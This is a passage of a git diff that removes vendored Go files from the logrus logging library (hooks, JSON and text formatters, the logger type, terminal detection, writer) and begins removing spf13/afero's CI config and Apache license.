goroutine or a channel with workers, you should handle such -// functionality yourself if your call is non-blocking and you don't wish for -// the logging calls for levels returned from `Levels()` to block. -type Hook interface { - Levels() []Level - Fire(*Entry) error -} - -// Internal type for storing the hooks on a logger instance. -type LevelHooks map[Level][]Hook - -// Add a hook to an instance of logger. This is called with -// `log.Hooks.Add(new(MyHook))` where `MyHook` implements the `Hook` interface. -func (hooks LevelHooks) Add(hook Hook) { - for _, level := range hook.Levels() { - hooks[level] = append(hooks[level], hook) - } -} - -// Fire all the hooks for the passed level. Used by `entry.log` to fire -// appropriate hooks for a log entry. -func (hooks LevelHooks) Fire(level Level, entry *Entry) error { - for _, hook := range hooks[level] { - if err := hook.Fire(entry); err != nil { - return err - } - } - - return nil -} diff --git a/vendor/github.com/sirupsen/logrus/json_formatter.go b/vendor/github.com/sirupsen/logrus/json_formatter.go deleted file mode 100644 index 2605753599..0000000000 --- a/vendor/github.com/sirupsen/logrus/json_formatter.go +++ /dev/null @@ -1,105 +0,0 @@ -package logrus - -import ( - "bytes" - "encoding/json" - "fmt" -) - -type fieldKey string - -// FieldMap allows customization of the key names for default fields. -type FieldMap map[fieldKey]string - -func (f FieldMap) resolve(key fieldKey) string { - if k, ok := f[key]; ok { - return k - } - - return string(key) -} - -// JSONFormatter formats logs into parsable json -type JSONFormatter struct { - // TimestampFormat sets the format used for marshaling timestamps. - TimestampFormat string - - // DisableTimestamp allows disabling automatic timestamps in output - DisableTimestamp bool - - // DataKey allows users to put all the log entry parameters into a nested dictionary at a given key. - DataKey string - - // FieldMap allows users to customize the names of keys for default fields. - // As an example: - // formatter := &JSONFormatter{ - // FieldMap: FieldMap{ - // FieldKeyTime: "@timestamp", - // FieldKeyLevel: "@level", - // FieldKeyMsg: "@message", - // FieldKeyFunc: "@caller", - // }, - // } - FieldMap FieldMap - - // PrettyPrint will indent all json logs - PrettyPrint bool -} - -// Format renders a single log entry -func (f *JSONFormatter) Format(entry *Entry) ([]byte, error) { - data := make(Fields, len(entry.Data)+4) - for k, v := range entry.Data { - switch v := v.(type) { - case error: - // Otherwise errors are ignored by `encoding/json` - // https://github.com/sirupsen/logrus/issues/137 - data[k] = v.Error() - default: - data[k] = v - } - } - - if f.DataKey != "" { - newData := make(Fields, 4) - newData[f.DataKey] = data - data = newData - } - - prefixFieldClashes(data, f.FieldMap, entry.HasCaller()) - - timestampFormat := f.TimestampFormat - if timestampFormat == "" { - timestampFormat = defaultTimestampFormat - } - - if entry.err != "" { - data[f.FieldMap.resolve(FieldKeyLogrusError)] = entry.err - } - if !f.DisableTimestamp { - data[f.FieldMap.resolve(FieldKeyTime)] = entry.Time.Format(timestampFormat) - } - data[f.FieldMap.resolve(FieldKeyMsg)] = entry.Message - data[f.FieldMap.resolve(FieldKeyLevel)] = entry.Level.String() - if entry.HasCaller() { - data[f.FieldMap.resolve(FieldKeyFunc)] = entry.Caller.Function - data[f.FieldMap.resolve(FieldKeyFile)] = fmt.Sprintf("%s:%d", entry.Caller.File, entry.Caller.Line) - } - - var b *bytes.Buffer - if entry.Buffer != nil { - b = entry.Buffer - } else { - b = &bytes.Buffer{} - } - - encoder := json.NewEncoder(b) - if f.PrettyPrint { - encoder.SetIndent("", " ") - } - if err := encoder.Encode(data); err != nil { - return nil, fmt.Errorf("Failed to marshal fields to JSON, %v", err) - } - - return b.Bytes(), nil -} diff --git a/vendor/github.com/sirupsen/logrus/logger.go b/vendor/github.com/sirupsen/logrus/logger.go deleted file mode 100644 index 5ceca0eab4..0000000000 --- a/vendor/github.com/sirupsen/logrus/logger.go +++ /dev/null @@ -1,415 +0,0 @@ -package logrus - -import ( - "io" - "os" - "sync" - "sync/atomic" - "time" -) - -type Logger struct { - // The logs are `io.Copy`'d to this in a mutex. It's common to set this to a - // file, or leave it default which is `os.Stderr`. You can also set this to - // something more adventurous, such as logging to Kafka. - Out io.Writer - // Hooks for the logger instance. These allow firing events based on logging - // levels and log entries. For example, to send errors to an error tracking - // service, log to StatsD or dump the core on fatal errors. - Hooks LevelHooks - // All log entries pass through the formatter before logged to Out. The - // included formatters are `TextFormatter` and `JSONFormatter` for which - // TextFormatter is the default. In development (when a TTY is attached) it - // logs with colors, but to a file it wouldn't. You can easily implement your - // own that implements the `Formatter` interface, see the `README` or included - // formatters for examples. - Formatter Formatter - - // Flag for whether to log caller info (off by default) - ReportCaller bool - - // The logging level the logger should log at. This is typically (and defaults - // to) `logrus.Info`, which allows Info(), Warn(), Error() and Fatal() to be - // logged. - Level Level - // Used to sync writing to the log. Locking is enabled by Default - mu MutexWrap - // Reusable empty entry - entryPool sync.Pool - // Function to exit the application, defaults to `os.Exit()` - ExitFunc exitFunc -} - -type exitFunc func(int) - -type MutexWrap struct { - lock sync.Mutex - disabled bool -} - -func (mw *MutexWrap) Lock() { - if !mw.disabled { - mw.lock.Lock() - } -} - -func (mw *MutexWrap) Unlock() { - if !mw.disabled { - mw.lock.Unlock() - } -} - -func (mw *MutexWrap) Disable() { - mw.disabled = true -} - -// Creates a new logger. Configuration should be set by changing `Formatter`, -// `Out` and `Hooks` directly on the default logger instance. You can also just -// instantiate your own: -// -// var log = &Logger{ -// Out: os.Stderr, -// Formatter: new(JSONFormatter), -// Hooks: make(LevelHooks), -// Level: logrus.DebugLevel, -// } -// -// It's recommended to make this a global instance called `log`. -func New() *Logger { - return &Logger{ - Out: os.Stderr, - Formatter: new(TextFormatter), - Hooks: make(LevelHooks), - Level: InfoLevel, - ExitFunc: os.Exit, - ReportCaller: false, - } -} - -func (logger *Logger) newEntry() *Entry { - entry, ok := logger.entryPool.Get().(*Entry) - if ok { - return entry - } - return NewEntry(logger) -} - -func (logger *Logger) releaseEntry(entry *Entry) { - entry.Data = map[string]interface{}{} - logger.entryPool.Put(entry) -} - -// Adds a field to the log entry, note that it doesn't log until you call -// Debug, Print, Info, Warn, Error, Fatal or Panic. It only creates a log entry. -// If you want multiple fields, use `WithFields`. -func (logger *Logger) WithField(key string, value interface{}) *Entry { - entry := logger.newEntry() - defer logger.releaseEntry(entry) - return entry.WithField(key, value) -} - -// Adds a struct of fields to the log entry. All it does is call `WithField` for -// each `Field`. -func (logger *Logger) WithFields(fields Fields) *Entry { - entry := logger.newEntry() - defer logger.releaseEntry(entry) - return entry.WithFields(fields) -} - -// Add an error as single field to the log entry. All it does is call -// `WithError` for the given `error`. -func (logger *Logger) WithError(err error) *Entry { - entry := logger.newEntry() - defer logger.releaseEntry(entry) - return entry.WithError(err) -} - -// Overrides the time of the log entry. -func (logger *Logger) WithTime(t time.Time) *Entry { - entry := logger.newEntry() - defer logger.releaseEntry(entry) - return entry.WithTime(t) -} - -func (logger *Logger) Tracef(format string, args ...interface{}) { - if logger.IsLevelEnabled(TraceLevel) { - entry := logger.newEntry() - entry.Tracef(format, args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Debugf(format string, args ...interface{}) { - if logger.IsLevelEnabled(DebugLevel) { - entry := logger.newEntry() - entry.Debugf(format, args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Infof(format string, args ...interface{}) { - if logger.IsLevelEnabled(InfoLevel) { - entry := logger.newEntry() - entry.Infof(format, args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Printf(format string, args ...interface{}) { - entry := logger.newEntry() - entry.Printf(format, args...) - logger.releaseEntry(entry) -} - -func (logger *Logger) Warnf(format string, args ...interface{}) { - if logger.IsLevelEnabled(WarnLevel) { - entry := logger.newEntry() - entry.Warnf(format, args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Warningf(format string, args ...interface{}) { - if logger.IsLevelEnabled(WarnLevel) { - entry := logger.newEntry() - entry.Warnf(format, args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Errorf(format string, args ...interface{}) { - if logger.IsLevelEnabled(ErrorLevel) { - entry := logger.newEntry() - entry.Errorf(format, args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Fatalf(format string, args ...interface{}) { - if logger.IsLevelEnabled(FatalLevel) { - entry := logger.newEntry() - entry.Fatalf(format, args...) - logger.releaseEntry(entry) - } - logger.Exit(1) -} - -func (logger *Logger) Panicf(format string, args ...interface{}) { - if logger.IsLevelEnabled(PanicLevel) { - entry := logger.newEntry() - entry.Panicf(format, args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Trace(args ...interface{}) { - if logger.IsLevelEnabled(TraceLevel) { - entry := logger.newEntry() - entry.Trace(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Debug(args ...interface{}) { - if logger.IsLevelEnabled(DebugLevel) { - entry := logger.newEntry() - entry.Debug(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Info(args ...interface{}) { - if logger.IsLevelEnabled(InfoLevel) { - entry := logger.newEntry() - entry.Info(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Print(args ...interface{}) { - entry := logger.newEntry() - entry.Info(args...) - logger.releaseEntry(entry) -} - -func (logger *Logger) Warn(args ...interface{}) { - if logger.IsLevelEnabled(WarnLevel) { - entry := logger.newEntry() - entry.Warn(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Warning(args ...interface{}) { - if logger.IsLevelEnabled(WarnLevel) { - entry := logger.newEntry() - entry.Warn(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Error(args ...interface{}) { - if logger.IsLevelEnabled(ErrorLevel) { - entry := logger.newEntry() - entry.Error(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Fatal(args ...interface{}) { - if logger.IsLevelEnabled(FatalLevel) { - entry := logger.newEntry() - entry.Fatal(args...) - logger.releaseEntry(entry) - } - logger.Exit(1) -} - -func (logger *Logger) Panic(args ...interface{}) { - if logger.IsLevelEnabled(PanicLevel) { - entry := logger.newEntry() - entry.Panic(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Traceln(args ...interface{}) { - if logger.IsLevelEnabled(TraceLevel) { - entry := logger.newEntry() - entry.Traceln(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Debugln(args ...interface{}) { - if logger.IsLevelEnabled(DebugLevel) { - entry := logger.newEntry() - entry.Debugln(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Infoln(args ...interface{}) { - if logger.IsLevelEnabled(InfoLevel) { - entry := logger.newEntry() - entry.Infoln(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Println(args ...interface{}) { - entry := logger.newEntry() - entry.Println(args...) - logger.releaseEntry(entry) -} - -func (logger *Logger) Warnln(args ...interface{}) { - if logger.IsLevelEnabled(WarnLevel) { - entry := logger.newEntry() - entry.Warnln(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Warningln(args ...interface{}) { - if logger.IsLevelEnabled(WarnLevel) { - entry := logger.newEntry() - entry.Warnln(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Errorln(args ...interface{}) { - if logger.IsLevelEnabled(ErrorLevel) { - entry := logger.newEntry() - entry.Errorln(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Fatalln(args ...interface{}) { - if logger.IsLevelEnabled(FatalLevel) { - entry := logger.newEntry() - entry.Fatalln(args...) - logger.releaseEntry(entry) - } - logger.Exit(1) -} - -func (logger *Logger) Panicln(args ...interface{}) { - if logger.IsLevelEnabled(PanicLevel) { - entry := logger.newEntry() - entry.Panicln(args...) - logger.releaseEntry(entry) - } -} - -func (logger *Logger) Exit(code int) { - runHandlers() - if logger.ExitFunc == nil { - logger.ExitFunc = os.Exit - } - logger.ExitFunc(code) -} - -//When file is opened with appending mode, it's safe to -//write concurrently to a file (within 4k message on Linux). -//In these cases user can choose to disable the lock. -func (logger *Logger) SetNoLock() { - logger.mu.Disable() -} - -func (logger *Logger) level() Level { - return Level(atomic.LoadUint32((*uint32)(&logger.Level))) -} - -// SetLevel sets the logger level. -func (logger *Logger) SetLevel(level Level) { - atomic.StoreUint32((*uint32)(&logger.Level), uint32(level)) -} - -// GetLevel returns the logger level. -func (logger *Logger) GetLevel() Level { - return logger.level() -} - -// AddHook adds a hook to the logger hooks. -func (logger *Logger) AddHook(hook Hook) { - logger.mu.Lock() - defer logger.mu.Unlock() - logger.Hooks.Add(hook) -} - -// IsLevelEnabled checks if the log level of the logger is greater than the level param -func (logger *Logger) IsLevelEnabled(level Level) bool { - return logger.level() >= level -} - -// SetFormatter sets the logger formatter. -func (logger *Logger) SetFormatter(formatter Formatter) { - logger.mu.Lock() - defer logger.mu.Unlock() - logger.Formatter = formatter -} - -// SetOutput sets the logger output. -func (logger *Logger) SetOutput(output io.Writer) { - logger.mu.Lock() - defer logger.mu.Unlock() - logger.Out = output -} - -func (logger *Logger) SetReportCaller(reportCaller bool) { - logger.mu.Lock() - defer logger.mu.Unlock() - logger.ReportCaller = reportCaller -} - -// ReplaceHooks replaces the logger hooks and returns the old ones -func (logger *Logger) ReplaceHooks(hooks LevelHooks) LevelHooks { - logger.mu.Lock() - oldHooks := logger.Hooks - logger.Hooks = hooks - logger.mu.Unlock() - return oldHooks -} diff --git a/vendor/github.com/sirupsen/logrus/logrus.go b/vendor/github.com/sirupsen/logrus/logrus.go deleted file mode 100644 index 4ef4518662..0000000000 --- a/vendor/github.com/sirupsen/logrus/logrus.go +++ /dev/null @@ -1,178 +0,0 @@ -package logrus - -import ( - "fmt" - "log" - "strings" -) - -// Fields type, used to pass to `WithFields`. -type Fields map[string]interface{} - -// Level type -type Level uint32 - -// Convert the Level to a string. E.g. PanicLevel becomes "panic". -func (level Level) String() string { - switch level { - case TraceLevel: - return "trace" - case DebugLevel: - return "debug" - case InfoLevel: - return "info" - case WarnLevel: - return "warning" - case ErrorLevel: - return "error" - case FatalLevel: - return "fatal" - case PanicLevel: - return "panic" - } - - return "unknown" -} - -// ParseLevel takes a string level and returns the Logrus log level constant. -func ParseLevel(lvl string) (Level, error) { - switch strings.ToLower(lvl) { - case "panic": - return PanicLevel, nil - case "fatal": - return FatalLevel, nil - case "error": - return ErrorLevel, nil - case "warn", "warning": - return WarnLevel, nil - case "info": - return InfoLevel, nil - case "debug": - return DebugLevel, nil - case "trace": - return TraceLevel, nil - } - - var l Level - return l, fmt.Errorf("not a valid logrus Level: %q", lvl) -} - -// UnmarshalText implements encoding.TextUnmarshaler. -func (level *Level) UnmarshalText(text []byte) error { - l, err := ParseLevel(string(text)) - if err != nil { - return err - } - - *level = Level(l) - - return nil -} - -// A constant exposing all logging levels -var AllLevels = []Level{ - PanicLevel, - FatalLevel, - ErrorLevel, - WarnLevel, - InfoLevel, - DebugLevel, - TraceLevel, -} - -// These are the different logging levels. You can set the logging level to log -// on your instance of logger, obtained with `logrus.New()`. -const ( - // PanicLevel level, highest level of severity. Logs and then calls panic with the - // message passed to Debug, Info, ... - PanicLevel Level = iota - // FatalLevel level. Logs and then calls `logger.Exit(1)`. It will exit even if the - // logging level is set to Panic. - FatalLevel - // ErrorLevel level. Logs. Used for errors that should definitely be noted. - // Commonly used for hooks to send errors to an error tracking service. - ErrorLevel - // WarnLevel level. Non-critical entries that deserve eyes. - WarnLevel - // InfoLevel level. General operational entries about what's going on inside the - // application. - InfoLevel - // DebugLevel level. Usually only enabled when debugging. Very verbose logging. - DebugLevel - // TraceLevel level. Designates finer-grained informational events than the Debug. - TraceLevel -) - -// Won't compile if StdLogger can't be realized by a log.Logger -var ( - _ StdLogger = &log.Logger{} - _ StdLogger = &Entry{} - _ StdLogger = &Logger{} -) - -// StdLogger is what your logrus-enabled library should take, that way -// it'll accept a stdlib logger and a logrus logger. There's no standard -// interface, this is the closest we get, unfortunately. -type StdLogger interface { - Print(...interface{}) - Printf(string, ...interface{}) - Println(...interface{}) - - Fatal(...interface{}) - Fatalf(string, ...interface{}) - Fatalln(...interface{}) - - Panic(...interface{}) - Panicf(string, ...interface{}) - Panicln(...interface{}) -} - -// The FieldLogger interface generalizes the Entry and Logger types -type FieldLogger interface { - WithField(key string, value interface{}) *Entry - WithFields(fields Fields) *Entry - WithError(err error) *Entry - - Debugf(format string, args ...interface{}) - Infof(format string, args ...interface{}) - Printf(format string, args ...interface{}) - Warnf(format string, args ...interface{}) - Warningf(format string, args ...interface{}) - Errorf(format string, args ...interface{}) - Fatalf(format string, args ...interface{}) - Panicf(format string, args ...interface{}) - - Debug(args ...interface{}) - Info(args ...interface{}) - Print(args ...interface{}) - Warn(args ...interface{}) - Warning(args ...interface{}) - Error(args ...interface{}) - Fatal(args ...interface{}) - Panic(args ...interface{}) - - Debugln(args ...interface{}) - Infoln(args ...interface{}) - Println(args ...interface{}) - Warnln(args ...interface{}) - Warningln(args ...interface{}) - Errorln(args ...interface{}) - Fatalln(args ...interface{}) - Panicln(args ...interface{}) - - // IsDebugEnabled() bool - // IsInfoEnabled() bool - // IsWarnEnabled() bool - // IsErrorEnabled() bool - // IsFatalEnabled() bool - // IsPanicEnabled() bool -} - -// Ext1FieldLogger (the first extension to FieldLogger) is superfluous, it is -// here for consistancy. Do not use. Use Logger or Entry instead. -type Ext1FieldLogger interface { - FieldLogger - Tracef(format string, args ...interface{}) - Trace(args ...interface{}) - Traceln(args ...interface{}) -} diff --git a/vendor/github.com/sirupsen/logrus/terminal_check_appengine.go b/vendor/github.com/sirupsen/logrus/terminal_check_appengine.go deleted file mode 100644 index 2403de9819..0000000000 --- a/vendor/github.com/sirupsen/logrus/terminal_check_appengine.go +++ /dev/null @@ -1,11 +0,0 @@ -// +build appengine - -package logrus - -import ( - "io" -) - -func checkIfTerminal(w io.Writer) bool { - return true -} diff --git a/vendor/github.com/sirupsen/logrus/terminal_check_js.go b/vendor/github.com/sirupsen/logrus/terminal_check_js.go deleted file mode 100644 index 0c209750a3..0000000000 --- a/vendor/github.com/sirupsen/logrus/terminal_check_js.go +++ /dev/null @@ -1,11 +0,0 @@ -// +build js - -package logrus - -import ( - "io" -) - -func checkIfTerminal(w io.Writer) bool { - return false -} diff --git a/vendor/github.com/sirupsen/logrus/terminal_check_notappengine.go b/vendor/github.com/sirupsen/logrus/terminal_check_notappengine.go deleted file mode 100644 index cf309d6fb6..0000000000 --- a/vendor/github.com/sirupsen/logrus/terminal_check_notappengine.go +++ /dev/null @@ -1,19 +0,0 @@ -// +build !appengine,!js,!windows - -package logrus - -import ( - "io" - "os" - - "golang.org/x/crypto/ssh/terminal" -) - -func checkIfTerminal(w io.Writer) bool { - switch v := w.(type) { - case *os.File: - return terminal.IsTerminal(int(v.Fd())) - default: - return false - } -} diff --git a/vendor/github.com/sirupsen/logrus/terminal_check_windows.go b/vendor/github.com/sirupsen/logrus/terminal_check_windows.go deleted file mode 100644 index 3b9d2864ca..0000000000 --- a/vendor/github.com/sirupsen/logrus/terminal_check_windows.go +++ /dev/null @@ -1,20 +0,0 @@ -// +build !appengine,!js,windows - -package logrus - -import ( - "io" - "os" - "syscall" -) - -func checkIfTerminal(w io.Writer) bool { - switch v := w.(type) { - case *os.File: - var mode uint32 - err := syscall.GetConsoleMode(syscall.Handle(v.Fd()), &mode) - return err == nil - default: - return false - } -} diff --git a/vendor/github.com/sirupsen/logrus/terminal_notwindows.go b/vendor/github.com/sirupsen/logrus/terminal_notwindows.go deleted file mode 100644 index 3dbd237203..0000000000 --- a/vendor/github.com/sirupsen/logrus/terminal_notwindows.go +++ /dev/null @@ -1,8 +0,0 @@ -// +build !windows - -package logrus - -import "io" - -func initTerminal(w io.Writer) { -} diff --git a/vendor/github.com/sirupsen/logrus/terminal_windows.go b/vendor/github.com/sirupsen/logrus/terminal_windows.go deleted file mode 100644 index b4ef5286cd..0000000000 --- a/vendor/github.com/sirupsen/logrus/terminal_windows.go +++ /dev/null @@ -1,18 +0,0 @@ -// +build !appengine,!js,windows - -package logrus - -import ( - "io" - "os" - "syscall" - - sequences "github.com/konsorten/go-windows-terminal-sequences" -) - -func initTerminal(w io.Writer) { - switch v := w.(type) { - case *os.File: - sequences.EnableVirtualTerminalProcessing(syscall.Handle(v.Fd()), true) - } -} diff --git a/vendor/github.com/sirupsen/logrus/text_formatter.go b/vendor/github.com/sirupsen/logrus/text_formatter.go deleted file mode 100644 index 49ec92f172..0000000000 --- a/vendor/github.com/sirupsen/logrus/text_formatter.go +++ /dev/null @@ -1,269 +0,0 @@ -package logrus - -import ( - "bytes" - "fmt" - "os" - "sort" - "strings" - "sync" - "time" -) - -const ( - nocolor = 0 - red = 31 - green = 32 - yellow = 33 - blue = 36 - gray = 37 -) - -var ( - baseTimestamp time.Time - emptyFieldMap FieldMap -) - -func init() { - baseTimestamp = time.Now() -} - -// TextFormatter formats logs into text -type TextFormatter struct { - // Set to true to bypass checking for a TTY before outputting colors. - ForceColors bool - - // Force disabling colors. - DisableColors bool - - // Override coloring based on CLICOLOR and CLICOLOR_FORCE. - https://bixense.com/clicolors/ - EnvironmentOverrideColors bool - - // Disable timestamp logging. useful when output is redirected to logging - // system that already adds timestamps. - DisableTimestamp bool - - // Enable logging the full timestamp when a TTY is attached instead of just - // the time passed since beginning of execution. - FullTimestamp bool - - // TimestampFormat to use for display when a full timestamp is printed - TimestampFormat string - - // The fields are sorted by default for a consistent output. For applications - // that log extremely frequently and don't use the JSON formatter this may not - // be desired. - DisableSorting bool - - // The keys sorting function, when uninitialized it uses sort.Strings. - SortingFunc func([]string) - - // Disables the truncation of the level text to 4 characters. - DisableLevelTruncation bool - - // QuoteEmptyFields will wrap empty fields in quotes if true - QuoteEmptyFields bool - - // Whether the logger's out is to a terminal - isTerminal bool - - // FieldMap allows users to customize the names of keys for default fields. - // As an example: - // formatter := &TextFormatter{ - // FieldMap: FieldMap{ - // FieldKeyTime: "@timestamp", - // FieldKeyLevel: "@level", - // FieldKeyMsg: "@message"}} - FieldMap FieldMap - - terminalInitOnce sync.Once -} - -func (f *TextFormatter) init(entry *Entry) { - if entry.Logger != nil { - f.isTerminal = checkIfTerminal(entry.Logger.Out) - - if f.isTerminal { - initTerminal(entry.Logger.Out) - } - } -} - -func (f *TextFormatter) isColored() bool { - isColored := f.ForceColors || f.isTerminal - - if f.EnvironmentOverrideColors { - if force, ok := os.LookupEnv("CLICOLOR_FORCE"); ok && force != "0" { - isColored = true - } else if ok && force == "0" { - isColored = false - } else if os.Getenv("CLICOLOR") == "0" { - isColored = false - } - } - - return isColored && !f.DisableColors -} - -// Format renders a single log entry -func (f *TextFormatter) Format(entry *Entry) ([]byte, error) { - prefixFieldClashes(entry.Data, f.FieldMap, entry.HasCaller()) - - keys := make([]string, 0, len(entry.Data)) - for k := range entry.Data { - keys = append(keys, k) - } - - fixedKeys := make([]string, 0, 4+len(entry.Data)) - if !f.DisableTimestamp { - fixedKeys = append(fixedKeys, f.FieldMap.resolve(FieldKeyTime)) - } - fixedKeys = append(fixedKeys, f.FieldMap.resolve(FieldKeyLevel)) - if entry.Message != "" { - fixedKeys = append(fixedKeys, f.FieldMap.resolve(FieldKeyMsg)) - } - if entry.err != "" { - fixedKeys = append(fixedKeys, f.FieldMap.resolve(FieldKeyLogrusError)) - } - if entry.HasCaller() { - fixedKeys = append(fixedKeys, - f.FieldMap.resolve(FieldKeyFunc), f.FieldMap.resolve(FieldKeyFile)) - } - - if !f.DisableSorting { - if f.SortingFunc == nil { - sort.Strings(keys) - fixedKeys = append(fixedKeys, keys...) - } else { - if !f.isColored() { - fixedKeys = append(fixedKeys, keys...) - f.SortingFunc(fixedKeys) - } else { - f.SortingFunc(keys) - } - } - } else { - fixedKeys = append(fixedKeys, keys...) - } - - var b *bytes.Buffer - if entry.Buffer != nil { - b = entry.Buffer - } else { - b = &bytes.Buffer{} - } - - f.terminalInitOnce.Do(func() { f.init(entry) }) - - timestampFormat := f.TimestampFormat - if timestampFormat == "" { - timestampFormat = defaultTimestampFormat - } - if f.isColored() { - f.printColored(b, entry, keys, timestampFormat) - } else { - for _, key := range fixedKeys { - var value interface{} - switch { - case key == f.FieldMap.resolve(FieldKeyTime): - value = entry.Time.Format(timestampFormat) - case key == f.FieldMap.resolve(FieldKeyLevel): - value = entry.Level.String() - case key == f.FieldMap.resolve(FieldKeyMsg): - value = entry.Message - case key == f.FieldMap.resolve(FieldKeyLogrusError): - value = entry.err - case key == f.FieldMap.resolve(FieldKeyFunc) && entry.HasCaller(): - value = entry.Caller.Function - case key == f.FieldMap.resolve(FieldKeyFile) && entry.HasCaller(): - value = fmt.Sprintf("%s:%d", entry.Caller.File, entry.Caller.Line) - default: - value = entry.Data[key] - } - f.appendKeyValue(b, key, value) - } - } - - b.WriteByte('\n') - return b.Bytes(), nil -} - -func (f *TextFormatter) printColored(b *bytes.Buffer, entry *Entry, keys []string, timestampFormat string) { - var levelColor int - switch entry.Level { - case DebugLevel, TraceLevel: - levelColor = gray - case WarnLevel: - levelColor = yellow - case ErrorLevel, FatalLevel, PanicLevel: - levelColor = red - default: - levelColor = blue - } - - levelText := strings.ToUpper(entry.Level.String()) - if !f.DisableLevelTruncation { - levelText = levelText[0:4] - } - - // Remove a single newline if it already exists in the message to keep - // the behavior of logrus text_formatter the same as the stdlib log package - entry.Message = strings.TrimSuffix(entry.Message, "\n") - - caller := "" - - if entry.HasCaller() { - caller = fmt.Sprintf("%s:%d %s()", - entry.Caller.File, entry.Caller.Line, entry.Caller.Function) - } - - if f.DisableTimestamp { - fmt.Fprintf(b, "\x1b[%dm%s\x1b[0m%s %-44s ", levelColor, levelText, caller, entry.Message) - } else if !f.FullTimestamp { - fmt.Fprintf(b, "\x1b[%dm%s\x1b[0m[%04d]%s %-44s ", levelColor, levelText, int(entry.Time.Sub(baseTimestamp)/time.Second), caller, entry.Message) - } else { - fmt.Fprintf(b, "\x1b[%dm%s\x1b[0m[%s]%s %-44s ", levelColor, levelText, entry.Time.Format(timestampFormat), caller, entry.Message) - } - for _, k := range keys { - v := entry.Data[k] - fmt.Fprintf(b, " \x1b[%dm%s\x1b[0m=", levelColor, k) - f.appendValue(b, v) - } -} - -func (f *TextFormatter) needsQuoting(text string) bool { - if f.QuoteEmptyFields && len(text) == 0 { - return true - } - for _, ch := range text { - if !((ch >= 'a' && ch <= 'z') || - (ch >= 'A' && ch <= 'Z') || - (ch >= '0' && ch <= '9') || - ch == '-' || ch == '.' || ch == '_' || ch == '/' || ch == '@' || ch == '^' || ch == '+') { - return true - } - } - return false -} - -func (f *TextFormatter) appendKeyValue(b *bytes.Buffer, key string, value interface{}) { - if b.Len() > 0 { - b.WriteByte(' ') - } - b.WriteString(key) - b.WriteByte('=') - f.appendValue(b, value) -} - -func (f *TextFormatter) appendValue(b *bytes.Buffer, value interface{}) { - stringVal, ok := value.(string) - if !ok { - stringVal = fmt.Sprint(value) - } - - if !f.needsQuoting(stringVal) { - b.WriteString(stringVal) - } else { - b.WriteString(fmt.Sprintf("%q", stringVal)) - } -} diff --git a/vendor/github.com/sirupsen/logrus/writer.go b/vendor/github.com/sirupsen/logrus/writer.go deleted file mode 100644 index 9e1f751359..0000000000 --- a/vendor/github.com/sirupsen/logrus/writer.go +++ /dev/null @@ -1,64 +0,0 @@ -package logrus - -import ( - "bufio" - "io" - "runtime" -) - -func (logger *Logger) Writer() *io.PipeWriter { - return logger.WriterLevel(InfoLevel) -} - -func (logger *Logger) WriterLevel(level Level) *io.PipeWriter { - return NewEntry(logger).WriterLevel(level) -} - -func (entry *Entry) Writer() *io.PipeWriter { - return entry.WriterLevel(InfoLevel) -} - -func (entry *Entry) WriterLevel(level Level) *io.PipeWriter { - reader, writer := io.Pipe() - - var printFunc func(args ...interface{}) - - switch level { - case TraceLevel: - printFunc = entry.Trace - case DebugLevel: - printFunc = entry.Debug - case InfoLevel: - printFunc = entry.Info - case WarnLevel: - printFunc = entry.Warn - case ErrorLevel: - printFunc = entry.Error - case FatalLevel: - printFunc = entry.Fatal - case PanicLevel: - printFunc = entry.Panic - default: - printFunc = entry.Print - } - - go entry.writerScanner(reader, printFunc) - runtime.SetFinalizer(writer, writerFinalizer) - - return writer -} - -func (entry *Entry) writerScanner(reader *io.PipeReader, printFunc func(args ...interface{})) { - scanner := bufio.NewScanner(reader) - for scanner.Scan() { - printFunc(scanner.Text()) - } - if err := scanner.Err(); err != nil { - entry.Errorf("Error while reading from Writer: %s", err) - } - reader.Close() -} - -func writerFinalizer(writer *io.PipeWriter) { - writer.Close() -} diff --git a/vendor/github.com/spf13/afero/.travis.yml b/vendor/github.com/spf13/afero/.travis.yml deleted file mode 100644 index 6c296d2931..0000000000 --- a/vendor/github.com/spf13/afero/.travis.yml +++ /dev/null @@ -1,20 +0,0 @@ -sudo: false -language: go - -go: - - 1.7.5 - - 1.8 - - tip - -os: - - linux - - osx - -matrix: - allow_failures: - - go: tip - fast_finish: true - -script: - - go test -v ./... - - go build diff --git a/vendor/github.com/spf13/afero/LICENSE.txt b/vendor/github.com/spf13/afero/LICENSE.txt deleted file mode 100644 index 298f0e2665..0000000000 --- a/vendor/github.com/spf13/afero/LICENSE.txt +++ /dev/null @@ -1,174 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to 